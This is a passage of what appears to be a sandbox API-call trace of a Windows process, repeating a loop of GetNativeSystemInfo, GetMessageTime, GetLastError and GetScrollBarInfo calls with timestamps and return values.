dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.365] GetMessageTime () returned 0 [0101.365] GetLastError () returned 0x578 [0101.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.365] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.365] GetMessageTime () returned 0 [0101.365] GetLastError () returned 0x578 [0101.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.365] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.365] GetMessageTime () returned 0 [0101.365] GetLastError () returned 0x578 [0101.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.366] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.366] GetMessageTime () returned 0 [0101.366] GetLastError () returned 0x578 [0101.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.366] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.366] GetMessageTime () returned 0 [0101.366] GetLastError () returned 0x578 [0101.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.366] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.366] GetMessageTime () returned 0 [0101.366] GetLastError () returned 0x578 [0101.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.366] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.366] GetMessageTime () returned 0 [0101.366] GetLastError () returned 0x578 [0101.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.366] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.367] GetMessageTime () returned 0 [0101.367] GetLastError () returned 0x578 [0101.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.367] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.367] GetMessageTime () returned 0 [0101.367] GetLastError () returned 0x578 [0101.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.367] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.367] GetMessageTime () returned 0 [0101.367] GetLastError () returned 0x578 [0101.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.367] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.367] GetMessageTime () returned 0 [0101.367] GetLastError () returned 0x578 [0101.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.367] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.367] GetMessageTime () returned 0 [0101.367] GetLastError () returned 0x578 [0101.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.367] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.367] GetMessageTime () returned 0 [0101.367] GetLastError () returned 0x578 [0101.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.368] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.368] GetMessageTime () returned 0 [0101.368] GetLastError () returned 0x578 [0101.368] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.368] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.368] GetMessageTime () returned 0 [0101.368] GetLastError () returned 0x578 [0101.368] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.368] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.368] GetMessageTime () returned 0 [0101.368] GetLastError () returned 0x578 [0101.368] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.368] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.368] GetMessageTime () returned 0 [0101.368] GetLastError () returned 0x578 [0101.368] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.368] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.368] GetMessageTime () returned 0 [0101.368] GetLastError () returned 0x578 [0101.368] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.368] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.368] GetMessageTime () returned 0 [0101.368] GetLastError () returned 0x578 [0101.368] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.369] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.369] GetMessageTime () returned 0 [0101.369] GetLastError () returned 0x578 [0101.369] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.369] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.369] GetMessageTime () returned 0 [0101.369] GetLastError () returned 0x578 [0101.369] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.369] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.369] GetMessageTime () returned 0 [0101.369] GetLastError () returned 0x578 [0101.369] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.369] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.369] GetMessageTime () returned 0 [0101.369] GetLastError () returned 0x578 [0101.369] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.369] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.369] GetMessageTime () returned 0 [0101.369] GetLastError () returned 0x578 [0101.369] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.369] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.369] GetMessageTime () returned 0 [0101.369] GetLastError () returned 0x578 [0101.369] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.370] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.370] GetMessageTime () returned 0 [0101.370] GetLastError () returned 0x578 [0101.370] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.370] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.370] GetMessageTime () returned 0 [0101.370] GetLastError () returned 0x578 [0101.370] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.370] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.370] GetMessageTime () returned 0 [0101.370] GetLastError () returned 0x578 [0101.370] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.370] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.370] GetMessageTime () returned 0 [0101.370] GetLastError () returned 0x578 [0101.370] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.370] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.370] GetMessageTime () returned 0 [0101.370] GetLastError () returned 0x578 [0101.370] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.370] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.370] GetMessageTime () returned 0 [0101.370] GetLastError () returned 0x578 [0101.371] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.371] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.371] GetMessageTime () returned 0 [0101.371] GetLastError () returned 0x578 [0101.371] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.371] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.371] GetMessageTime () returned 0 [0101.371] GetLastError () returned 0x578 [0101.371] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.371] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.371] GetMessageTime () returned 0 [0101.371] GetLastError () returned 0x578 [0101.371] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.371] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.371] GetMessageTime () returned 0 [0101.371] GetLastError () returned 0x578 [0101.371] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.371] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.371] GetMessageTime () returned 0 [0101.371] GetLastError () returned 0x578 [0101.371] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.371] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.371] GetMessageTime () returned 0 [0101.372] GetLastError () returned 0x578 [0101.372] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.372] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.372] GetMessageTime () returned 0 [0101.372] GetLastError () returned 0x578 [0101.372] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.372] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.372] GetMessageTime () returned 0 [0101.372] GetLastError () returned 0x578 [0101.372] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.372] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.372] GetMessageTime () returned 0 [0101.372] GetLastError () returned 0x578 [0101.372] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.372] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.372] GetMessageTime () returned 0 [0101.372] GetLastError () returned 0x578 [0101.372] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.372] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.372] GetMessageTime () returned 0 [0101.372] GetLastError () returned 0x578 [0101.372] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.372] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.373] GetMessageTime () returned 0 [0101.373] GetLastError () returned 0x578 [0101.373] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.373] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.373] GetMessageTime () returned 0 [0101.373] GetLastError () returned 0x578 [0101.373] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.373] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.373] GetMessageTime () returned 0 [0101.373] GetLastError () returned 0x578 [0101.373] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.373] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.373] GetMessageTime () returned 0 [0101.373] GetLastError () returned 0x578 [0101.373] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.373] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: 